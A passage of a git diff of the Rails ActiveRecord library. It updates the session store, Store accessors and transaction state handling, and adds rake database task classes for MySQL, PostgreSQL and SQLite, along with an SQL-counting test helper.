-        connection.add_index table_name, id_col_name, :unique => true
+        connection.add_index table_name, session_id_column, :unique => true
       end
     end
 
@@ -117,10 +118,10 @@ module ActiveRecord
               define_method(:session_id)  { sessid }
               define_method(:session_id=) { |session_id| self.sessid = session_id }
             else
-              class << self; remove_method :find_by_session_id; end
+              class << self; remove_possible_method :find_by_session_id; end
 
               def self.find_by_session_id(session_id)
-                find :first, :conditions => {:session_id=>session_id}
+                where(session_id: session_id).first
               end
             end
           end
@@ -170,11 +171,11 @@ module ActiveRecord
     # are implemented as class methods that you may override. By default,
     # marshaling data is
     #
-    #   ActiveSupport::Base64.encode64(Marshal.dump(data))
+    #   ::Base64.encode64(Marshal.dump(data))
     #
     # and unmarshaling data is
     #
-    #   Marshal.load(ActiveSupport::Base64.decode64(data))
+    #   Marshal.load(::Base64.decode64(data))
     #
     # This marshaling behavior is intended to store the widest range of
     # binary session data in a +text+ column. For higher performance,
@@ -202,10 +203,10 @@ module ActiveRecord
 
       class << self
         alias :data_column_name :data_column
-        
+
         # Use the ActiveRecord::Base.connection by default.
         attr_writer :connection
-        
+
         # Use the ActiveRecord::Base.connection_pool by default.
         attr_writer :connection_pool
 
@@ -219,12 +220,12 @@ module ActiveRecord
 
         # Look up a session by id and unmarshal its data if found.
         def find_by_session_id(session_id)
-          if record = connection.select_one("SELECT * FROM #{@@table_name} WHERE #{@@session_id_column}=#{connection.quote(session_id)}")
+          if record = connection.select_one("SELECT #{connection.quote_column_name(data_column)} AS data FROM #{@@table_name} WHERE #{connection.quote_column_name(@@session_id_column)}=#{connection.quote(session_id.to_s)}")
             new(:session_id => session_id, :marshaled_data => record['data'])
           end
         end
       end
-      
+
       delegate :connection, :connection=, :connection_pool, :connection_pool=, :to => self
 
       attr_reader :session_id, :new_record
@@ -242,6 +243,11 @@ module ActiveRecord
         @new_record     = @marshaled_data.nil?
       end
 
+      # Returns true if the record is persisted, i.e. it's not a new record
+      def persisted?
+        !@new_record
+      end
+
       # Lazy-unmarshal session state.
       def data
         unless @data
@@ -288,7 +294,7 @@ module ActiveRecord
         connect = connection
         connect.delete <<-end_sql, 'Destroy session'
           DELETE FROM #{table_name}
-          WHERE #{connect.quote_column_name(session_id_column)}=#{connect.quote(session_id)}
+          WHERE #{connect.quote_column_name(session_id_column)}=#{connect.quote(session_id.to_s)}
         end_sql
       end
     end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index 8cc84f81d0..b4013ecc1e 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -1,6 +1,8 @@
+require 'active_support/core_ext/hash/indifferent_access'
+
 module ActiveRecord
   # Store gives you a thin wrapper around serialize for the purpose of storing hashes in a single column.
-  # It's like a simple key/value store backed into your record when you don't care about being able to
+  # It's like a simple key/value store baked into your record when you don't care about being able to
   # query that store outside the context of a single record.
   #
   # You can then declare accessors to this store that are then accessible just like any other attribute
@@ -10,41 +12,103 @@ module ActiveRecord
   # Make sure that you declare the database column used for the serialized store as a text, so there's
   # plenty of room.
   #
+  # You can set custom coder to encode/decode your serialized attributes to/from different formats.
+  # JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
+  #
   # Examples:
   #
   #   class User < ActiveRecord::Base
-  #     store :settings, accessors: [ :color, :homepage ]
+  #     store :settings, accessors: [ :color, :homepage ], coder: JSON
   #   end
-  #   
+  #
   #   u = User.new(color: 'black', homepage: '37signals.com')
   #   u.color                          # Accessor stored attribute
   #   u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
   #
+  #   # There is no difference between strings and symbols for accessing custom attributes
+  #   u.settings[:country]  # => 'Denmark'
+  #   u.settings['country'] # => 'Denmark'
+  #
   #   # Add additional accessors to an existing store through store_accessor
   #   class SuperUser < User
   #     store_accessor :settings, :privileges, :servants
   #   end
+  #
+  # The stored attribute names can be retrieved using +stored_attributes+.
+  #
+  #   User.stored_attributes[:settings] # [:color, :homepage]
   module Store
     extend ActiveSupport::Concern
-  
+
+    included do
+      class_attribute :stored_attributes, instance_accessor: false
+      self.stored_attributes = {}
+    end
+
     module ClassMethods
       def store(store_attribute, options = {})
-        serialize store_attribute, Hash
+        serialize store_attribute, IndifferentCoder.new(options[:coder])
         store_accessor(store_attribute, options[:accessors]) if options.has_key? :accessors
       end
 
       def store_accessor(store_attribute, *keys)
-        Array(keys).flatten.each do |key|
+        keys = keys.flatten
+        keys.each do |key|
           define_method("#{key}=") do |value|
-            send(store_attribute)[key] = value
-            send("#{store_attribute}_will_change!")
+            attribute = initialize_store_attribute(store_attribute)
+            if value != attribute[key]
+              attribute[key] = value
+              send :"#{store_attribute}_will_change!"
+            end
           end
-    
+
           define_method(key) do
-            send(store_attribute)[key]
+            initialize_store_attribute(store_attribute)[key]
           end
         end
+
+        self.stored_attributes[store_attribute] = keys
+      end
+    end
+
+    private
+      def initialize_store_attribute(store_attribute)
+        attribute = send(store_attribute)
+        unless attribute.is_a?(HashWithIndifferentAccess)
+          attribute = IndifferentCoder.as_indifferent_hash(attribute)
+          send :"#{store_attribute}=", attribute
+        end
+        attribute
+      end
+
+    class IndifferentCoder
+      def initialize(coder_or_class_name)
+        @coder =
+          if coder_or_class_name.respond_to?(:load) && coder_or_class_name.respond_to?(:dump)
+            coder_or_class_name
+          else
+            ActiveRecord::Coders::YAMLColumn.new(coder_or_class_name || Object)
+          end
+      end
+
+      def dump(obj)
+        @coder.dump self.class.as_indifferent_hash(obj)
+      end
+
+      def load(yaml)
+        self.class.as_indifferent_hash @coder.load(yaml)
+      end
+
+      def self.as_indifferent_hash(obj)
+        case obj
+        when HashWithIndifferentAccess
+          obj
+        when Hash
+          obj.with_indifferent_access
+        else
+          HashWithIndifferentAccess.new
+        end
       end
     end
   end
-end
\ No newline at end of file
+end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
new file mode 100644
index 0000000000..b41cc68b6a
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -0,0 +1,122 @@
+module ActiveRecord
+  module Tasks # :nodoc:
+    module DatabaseTasks # :nodoc:
+      extend self
+
+      LOCAL_HOSTS    = ['127.0.0.1', 'localhost']
+
+      def register_task(pattern, task)
+        @tasks ||= {}
+        @tasks[pattern] = task
+      end
+
+      register_task(/mysql/, ActiveRecord::Tasks::MySQLDatabaseTasks)
+      register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
+      register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+
+      def create(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration['adapter']).new(*arguments).create
+      rescue Exception => error
+        $stderr.puts error, *(error.backtrace)
+        $stderr.puts "Couldn't create database for #{configuration.inspect}"
+      end
+
+      def create_all
+        each_local_configuration { |configuration| create configuration }
+      end
+
+      def create_current(environment = Rails.env)
+        each_current_configuration(environment) { |configuration|
+          create configuration
+        }
+        ActiveRecord::Base.establish_connection environment
+      end
+
+      def drop(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration['adapter']).new(*arguments).drop
+      rescue Exception => error
+        $stderr.puts error, *(error.backtrace)
+        $stderr.puts "Couldn't drop #{configuration['database']}"
+      end
+
+      def drop_all
+        each_local_configuration { |configuration| drop configuration }
+      end
+
+      def drop_current(environment = Rails.env)
+        each_current_configuration(environment) { |configuration|
+          drop configuration
+        }
+      end
+
+      def charset_current(environment = Rails.env)
+        charset ActiveRecord::Base.configurations[environment]
+      end
+
+      def charset(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration['adapter']).new(*arguments).charset
+      end
+
+      def collation_current(environment = Rails.env)
+        collation ActiveRecord::Base.configurations[environment]
+      end
+
+      def collation(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration['adapter']).new(*arguments).collation
+      end
+
+      def purge(configuration)
+        class_for_adapter(configuration['adapter']).new(configuration).purge
+      end
+
+      def structure_dump(*arguments)
+        configuration = arguments.first
+        filename = arguments.delete_at 1
+        class_for_adapter(configuration['adapter']).new(*arguments).structure_dump(filename)
+      end
+
+      def structure_load(*arguments)
+        configuration = arguments.first
+        filename = arguments.delete_at 1
+        class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
+      end
+
+      private
+
+      def class_for_adapter(adapter)
+        key = @tasks.keys.detect { |pattern| adapter[pattern] }
+        @tasks[key]
+      end
+
+      def each_current_configuration(environment)
+        environments = [environment]
+        environments << 'test' if environment.development?
+
+        configurations = ActiveRecord::Base.configurations.values_at(*environments)
+        configurations.compact.each do |configuration|
+          yield configuration unless configuration['database'].blank?
+        end
+      end
+
+      def each_local_configuration
+        ActiveRecord::Base.configurations.each_value do |configuration|
+          next unless configuration['database']
+
+          if local_database?(configuration)
+            yield configuration
+          else
+            $stderr.puts "This task only modifies local databases. #{configuration['database']} is on a remote host."
+          end
+        end
+      end
+
+      def local_database?(configuration)
+        configuration['host'].blank? || LOCAL_HOSTS.include?(configuration['host'])
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
new file mode 100644
index 0000000000..bf62dfd5b5
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -0,0 +1,114 @@
+module ActiveRecord
+  module Tasks # :nodoc:
+    class MySQLDatabaseTasks # :nodoc:
+
+      DEFAULT_CHARSET     = ENV['CHARSET']   || 'utf8'
+      DEFAULT_COLLATION   = ENV['COLLATION'] || 'utf8_unicode_ci'
+      ACCESS_DENIED_ERROR = 1045
+
+      delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+      def initialize(configuration)
+        @configuration = configuration
+      end
+
+      def create
+        establish_connection configuration_without_database
+        connection.create_database configuration['database'], creation_options
+        establish_connection configuration
+      rescue error_class => error
+        raise error unless error.errno == ACCESS_DENIED_ERROR
+
+        $stdout.print error.error
+        establish_connection root_configuration_without_database
+        connection.create_database configuration['database'], creation_options
+        connection.execute grant_statement.gsub(/\s+/, ' ').strip
+        establish_connection configuration
+      rescue error_class => error
+        $stderr.puts error.error
+        $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
+        $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['charset']
+      end
+
+      def drop
+        establish_connection configuration
+        connection.drop_database configuration['database']
+      end
+
+      def purge
+        establish_connection :test
+        connection.recreate_database configuration['database'], creation_options
+      end
+
+      def charset
+        connection.charset
+      end
+
+      def collation
+        connection.collation
+      end
+
+      def structure_dump(filename)
+        establish_connection configuration
+        File.open(filename, "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
+      end
+
+      def structure_load(filename)
+        establish_connection(configuration)
+        connection.execute('SET foreign_key_checks = 0')
+        IO.read(filename).split("\n\n").each do |table|
+          connection.execute(table)
+        end
+      end
+
+      private
+
+      def configuration
+        @configuration
+      end
+
+      def configuration_without_database
+        configuration.merge('database' => nil)
+      end
+
+      def creation_options
+        {
+          charset:   (configuration['charset']   || DEFAULT_CHARSET),
+          collation: (configuration['collation'] || DEFAULT_COLLATION)
+        }
+      end
+
+      def error_class
+        case configuration['adapter']
+        when /jdbc/
+          require 'active_record/railties/jdbcmysql_error'
+          ArJdbcMySQL::Error
+        when /mysql2/
+          Mysql2::Error
+        else
+          Mysql::Error
+        end
+      end
+
+      def grant_statement
+        <<-SQL
+GRANT ALL PRIVILEGES ON #{configuration['database']}.*
+  TO '#{configuration['username']}'@'localhost'
+IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
+        SQL
+      end
+
+      def root_configuration_without_database
+        configuration_without_database.merge(
+          'username' => 'root',
+          'password' => root_password
+        )
+      end
+
+      def root_password
+        $stdout.print "Please provide the root password for your mysql installation\n>"
+        $stdin.gets.strip
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
new file mode 100644
index 0000000000..ea5cb888fb
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -0,0 +1,85 @@
+require 'shellwords'
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class PostgreSQLDatabaseTasks # :nodoc:
+
+      DEFAULT_ENCODING = ENV['CHARSET'] || 'utf8'
+
+      delegate :connection, :establish_connection, :clear_active_connections!,
+        to: ActiveRecord::Base
+
+      def initialize(configuration)
+        @configuration = configuration
+      end
+
+      def create(master_established = false)
+        establish_master_connection unless master_established
+        connection.create_database configuration['database'],
+          configuration.merge('encoding' => encoding)
+        establish_connection configuration
+      end
+
+      def drop
+        establish_master_connection
+        connection.drop_database configuration['database']
+      end
+
+      def charset
+        connection.encoding
+      end
+
+      def collation
+        connection.collation
+      end
+
+      def purge
+        clear_active_connections!
+        drop
+        create true
+      end
+
+      def structure_dump(filename)
+        set_psql_env
+        search_path = configuration['schema_search_path']
+        unless search_path.blank?
+          search_path = search_path.split(",").map{|search_path_part| "--schema=#{Shellwords.escape(search_path_part.strip)}" }.join(" ")
+        end
+
+        command = "pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(configuration['database'])}"
+        raise 'Error dumping database' unless Kernel.system(command)
+
+        File.open(filename, "a") { |f| f << "SET search_path TO #{ActiveRecord::Base.connection.schema_search_path};\n\n" }
+      end
+
+      def structure_load(filename)
+        set_psql_env
+        Kernel.system("psql -f #{filename} #{configuration['database']}")
+      end
+
+      private
+
+      def configuration
+        @configuration
+      end
+
+      def encoding
+        configuration['encoding'] || DEFAULT_ENCODING
+      end
+
+      def establish_master_connection
+        establish_connection configuration.merge(
+          'database'           => 'postgres',
+          'schema_search_path' => 'public'
+        )
+      end
+
+      def set_psql_env
+        ENV['PGHOST']     = configuration['host']          if configuration['host']
+        ENV['PGPORT']     = configuration['port'].to_s     if configuration['port']
+        ENV['PGPASSWORD'] = configuration['password'].to_s if configuration['password']
+        ENV['PGUSER']     = configuration['username'].to_s if configuration['username']
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
new file mode 100644
index 0000000000..da01058a82
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -0,0 +1,55 @@
+module ActiveRecord
+  module Tasks # :nodoc:
+    class SQLiteDatabaseTasks # :nodoc:
+
+      delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+      def initialize(configuration, root = Rails.root)
+        @configuration, @root = configuration, root
+      end
+
+      def create
+        if File.exist?(configuration['database'])
+          $stderr.puts "#{configuration['database']} already exists"
+          return
+        end
+
+        establish_connection configuration
+        connection
+      end
+
+      def drop
+        require 'pathname'
+        path = Pathname.new configuration['database']
+        file = path.absolute? ? path.to_s : File.join(root, path)
+
+        FileUtils.rm(file) if File.exist?(file)
+      end
+      alias :purge :drop
+
+      def charset
+        connection.encoding
+      end
+
+      def structure_dump(filename)
+        dbfile = configuration['database']
+        `sqlite3 #{dbfile} .schema > #{filename}`
+      end
+
+      def structure_load(filename)
+        dbfile = configuration['database']
+        `sqlite3 #{dbfile} < "#{filename}"`
+      end
+
+      private
+
+      def configuration
+        @configuration
+      end
+
+      def root
+        @root
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
index ffe9b08dce..c035ad43a2 100644
--- a/activerecord/lib/active_record/test_case.rb
+++ b/activerecord/lib/active_record/test_case.rb
@@ -1,23 +1,13 @@
+require 'active_support/test_case'
+
+ActiveSupport::Deprecation.warn('ActiveRecord::TestCase is deprecated, please use ActiveSupport::TestCase')
 module ActiveRecord
   # = Active Record Test Case
   #
   # Defines some test assertions to test against SQL queries.
   class TestCase < ActiveSupport::TestCase #:nodoc:
-    setup :cleanup_identity_map
-
-    def setup
-      cleanup_identity_map
-    end
-
-    def cleanup_identity_map
-      ActiveRecord::IdentityMap.clear
-    end
-
-    # Backport skip to Ruby 1.8. test/unit doesn't support it, so just
-    # make it a noop.
-    unless instance_methods.map(&:to_s).include?("skip")
-      def skip(message)
-      end
+    def teardown
+      SQLCounter.clear_log
     end
 
     def assert_date_from_db(expected, actual, message = nil)
@@ -31,43 +21,75 @@ module ActiveRecord
     end
 
     def assert_sql(*patterns_to_match)
-      ActiveRecord::SQLCounter.log = []
+      SQLCounter.clear_log
       yield
-      ActiveRecord::SQLCounter.log
+      SQLCounter.log_all
     ensure
       failed_patterns = []
       patterns_to_match.each do |pattern|
-        failed_patterns << pattern unless ActiveRecord::SQLCounter.log.any?{ |sql| pattern === sql }
+        failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
       end
-      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{ActiveRecord::SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{ActiveRecord::SQLCounter.log.join("\n")}"}"
+      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
     end
 
-    def assert_queries(num = 1)
-      ActiveRecord::SQLCounter.log = []
+    def assert_queries(num = 1, options = {})
+      ignore_none = options.fetch(:ignore_none) { num == :any }
+      SQLCounter.clear_log
       yield
     ensure
-      assert_equal num, ActiveRecord::SQLCounter.log.size, "#{ActiveRecord::SQLCounter.log.size} instead of #{num} queries were executed.#{ActiveRecord::SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{ActiveRecord::SQLCounter.log.join("\n")}"}"
+      the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+      if num == :any
+        assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+      else
+        mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+        assert_equal num, the_log.size, mesg
+      end
     end
 
     def assert_no_queries(&block)
-      prev_ignored_sql = ActiveRecord::SQLCounter.ignored_sql
-      ActiveRecord::SQLCounter.ignored_sql = []
-      assert_queries(0, &block)
-    ensure
-      ActiveRecord::SQLCounter.ignored_sql = prev_ignored_sql
+      assert_queries(0, :ignore_none => true, &block)
     end
 
-    def with_kcode(kcode)
-      if RUBY_VERSION < '1.9'
-        orig_kcode, $KCODE = $KCODE, kcode
-        begin
-          yield
-        ensure
-          $KCODE = orig_kcode
-        end
-      else
-        yield
-      end
+  end
+
+  class SQLCounter
+    class << self
+      attr_accessor :ignored_sql, :log, :log_all
+      def clear_log; self.log = []; self.log_all = []; end
+    end
+
+    self.clear_log
+
+    self.ignored_sql = [/^PRAGMA (?!(table_info))/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
+
+    # FIXME: this needs to be refactored so specific database can add their own
+    # ignored SQL, or better yet, use a different notification for the queries
+    # instead examining the SQL content.
+    oracle_ignored     = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
+    mysql_ignored      = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
+    postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im]
+
+    [oracle_ignored, mysql_ignored, postgresql_ignored].each do |db_ignored_sql|
+      ignored_sql.concat db_ignored_sql
+    end
+
+    attr_reader :ignore
+
+    def initialize(ignore = Regexp.union(self.class.ignored_sql))
+      @ignore = ignore
+    end
+
+    def call(name, start, finish, message_id, values)
+      sql = values[:sql]
+
+      # FIXME: this seems bad. we should probably have a better way to indicate
+      # the query was cached
+      return if 'CACHE' == values[:name]
+
+      self.class.log_all << sql
+      self.class.log << sql unless ignore =~ sql
     end
   end
+
+  ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
 end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index 0c760e9850..c32e0d6bf8 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -1,6 +1,10 @@
-require 'active_support/core_ext/class/attribute'
 
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :record_timestamps, instance_accessor: false
+    self.record_timestamps = true
+  end
+
   # = Active Record Timestamp
   #
   # Active Record automatically timestamps create and update operations if the
@@ -33,8 +37,7 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :record_timestamps
-      self.record_timestamps = true
+      config_attribute :record_timestamps, instance_writer: true
     end
 
     def initialize_dup(other)
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index ae97a3f3ca..9cec791faf 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -211,7 +211,7 @@ module ActiveRecord
       def after_commit(*args, &block)
         options = args.last
         if options.is_a?(Hash) && options[:on]
-          options[:if] = Array.wrap(options[:if])
+          options[:if] = Array(options[:if])
           options[:if] << "transaction_include_action?(:#{options[:on]})"
         end
         set_callback(:commit, :after, *args, &block)
@@ -220,7 +220,7 @@ module ActiveRecord
       def after_rollback(*args, &block)
         options = args.last
         if options.is_a?(Hash) && options[:on]
-          options[:if] = Array.wrap(options[:if])
+          options[:if] = Array(options[:if])
           options[:if] << "transaction_include_action?(:#{options[:on]})"
         end
         set_callback(:rollback, :after, *args, &block)
@@ -251,7 +251,6 @@ module ActiveRecord
       remember_transaction_record_state
       yield
     rescue Exception
-      IdentityMap.remove(self) if IdentityMap.enabled?
       restore_transaction_record_state
       raise
     ensure
@@ -270,7 +269,6 @@ module ActiveRecord
     def rolledback!(force_restore_state = false) #:nodoc:
       run_callbacks :rollback
     ensure
-      IdentityMap.remove(self) if IdentityMap.enabled?
       restore_transaction_record_state(force_restore_state)
     end
 
@@ -292,7 +290,15 @@ module ActiveRecord
       status = nil
       self.class.transaction do
         add_to_transaction
-        status = yield
+        begin
+          status = yield
+        rescue ActiveRecord::Rollback
+          if defined?(@_start_transaction_state)
+            @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+          end
+          status = nil
+        end
+
         raise ActiveRecord::Rollback unless status
       end
       status
@@ -301,33 +307,27 @@ module ActiveRecord
     protected
 
     # Save the new record state and id of a record so it can be restored later if a transaction fails.
-    def remember_transaction_record_state #:nodoc
-      @_start_transaction_state ||= {}
+    def remember_transaction_record_state #:nodoc:
       @_start_transaction_state[:id] = id if has_attribute?(self.class.primary_key)
-      unless @_start_transaction_state.include?(:new_record)
-        @_start_transaction_state[:new_record] = @new_record
-      end
-      unless @_start_transaction_state.include?(:destroyed)
-        @_start_transaction_state[:destroyed] = @destroyed
-      end
+      @_start_transaction_state[:new_record] = @new_record
+      @_start_transaction_state[:destroyed] = @destroyed
       @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
     end
 
     # Clear the new record state and id of a record.
-    def clear_transaction_record_state #:nodoc
-      if defined?(@_start_transaction_state)
-        @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
-        remove_instance_variable(:@_start_transaction_state) if @_start_transaction_state[:level] < 1
-      end
+    def clear_transaction_record_state #:nodoc:
+      @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+      @_start_transaction_state.clear if @_start_transaction_state[:level] < 1
     end
 
     # Restore the new record state and id of a record that was previously saved by a call to save_record_state.
-    def restore_transaction_record_state(force = false) #:nodoc
-      if defined?(@_start_transaction_state)
+    def restore_transaction_record_state(force = false) #:nodoc:
+      unless @_start_transaction_state.empty?
         @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
-        if @_start_transaction_state[:level] < 1
-          restore_state = remove_instance_variable(:@_start_transaction_state)
-          @attributes = @attributes.dup if @attributes.frozen?
+        if @_start_transaction_state[:level] < 1 || force
+          restore_state = @_start_transaction_state
+          was_frozen = @attributes.frozen?
+          @attributes = @attributes.dup if was_frozen
           @new_record = restore_state[:new_record]
           @destroyed  = restore_state[:destroyed]
           if restore_state.has_key?(:id)
@@ -336,17 +336,19 @@ module ActiveRecord
             @attributes.delete(self.class.primary_key)
             @attributes_cache.delete(self.class.primary_key)
           end
+          @attributes.freeze if was_frozen
+          @_start_transaction_state.clear
         end
       end
     end
 
     # Determine if a record was created or destroyed in a transaction. State should be one of :new_record or :destroyed.
-    def transaction_record_state(state) #:nodoc
-      @_start_transaction_state[state] if defined?(@_start_transaction_state)
+    def transaction_record_state(state) #:nodoc:
+      @_start_transaction_state[state]
     end
 
     # Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
-    def transaction_include_action?(action) #:nodoc
+    def transaction_include_action?(action) #:nodoc:
       case action
       when :create
         transaction_record_state(:new_record)
diff --git a/activerecord/lib/active_record/translation.rb b/activerecord/lib/active_record/translation.rb
new file mode 100644
index 0000000000..ddcb5f2a7a
--- /dev/null
+++ b/activerecord/lib/active_record/translation.rb
@@ -0,0 +1,22 @@
+module ActiveRecord
+  module Translation
+    include ActiveModel::Translation
+
+    # Set the lookup ancestors for ActiveModel.
+    def lookup_ancestors #:nodoc:
+      klass = self
+      classes = [klass]
+      return classes if klass == ActiveRecord::Base
+
+      while klass != klass.base_class
+        classes << klass = klass.superclass
+      end
+      classes
+    end
+
+    # Set the i18n scope to overwrite ActiveModel.
+    def i18n_scope #:nodoc:
+      :activerecord
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 4b075183c3..cef2bbd563 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -14,7 +14,7 @@ module ActiveRecord
     def initialize(record)
       @record = record
       errors = @record.errors.full_messages.join(", ")
-      super(I18n.t("activerecord.errors.messages.record_invalid", :errors => errors))
+      super(I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", :errors => errors, :default => :"errors.messages.record_invalid"))
     end
   end
 
@@ -81,3 +81,4 @@ end
 
 require "active_record/validations/associated"
 require "active_record/validations/uniqueness"
+require "active_record/validations/presence"
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
index 7af0352a31..1fa6629980 100644
--- a/activerecord/lib/active_record/validations/associated.rb
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -1,14 +1,16 @@
 module ActiveRecord
   module Validations
-    class AssociatedValidator < ActiveModel::EachValidator
+    class AssociatedValidator < ActiveModel::EachValidator #:nodoc:
       def validate_each(record, attribute, value)
-        return if (value.is_a?(Array) ? value : [value]).collect{ |r| r.nil? || r.valid? }.all?
-        record.errors.add(attribute, :invalid, options.merge(:value => value))
+        if Array.wrap(value).reject {|r| r.marked_for_destruction? || r.valid?(record.validation_context) }.any?
+          record.errors.add(attribute, :invalid, options.merge(:value => value))
+        end
       end
     end
 
     module ClassMethods
-      # Validates whether the associated object or objects are all valid themselves. Works with any kind of association.
+      # Validates whether the associated object or objects are all valid
+      # themselves. Works with any kind of association.
       #
       #   class Book < ActiveRecord::Base
       #     has_many :pages
@@ -17,23 +19,28 @@ module ActiveRecord
       #     validates_associated :pages, :library
       #   end
       #
-      # WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion.
+      # WARNING: This validation must not be used on both ends of an association.
+      # Doing so will lead to a circular dependency and cause infinite recursion.
       #
-      # NOTE: This validation will not fail if the association hasn't been assigned. If you want to
-      # ensure that the association is both present and guaranteed to be valid, you also need to
-      # use +validates_presence_of+.
+      # NOTE: This validation will not fail if the association hasn't been
+      # assigned. If you want to ensure that the association is both present and
+      # guaranteed to be valid, you also need to use +validates_presence_of+.
       #
       # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is invalid")
+      #
+      # * <tt>:message</tt> - A custom error message (default is: "is invalid").
       # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
       #   validation contexts by default (+nil+), other options are <tt>:create</tt>
       #   and <tt>:update</tt>.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: => Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
       def validates_associated(*attr_names)
         validates_with AssociatedValidator, _merge_attributes(attr_names)
       end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
new file mode 100644
index 0000000000..056527b512
--- /dev/null
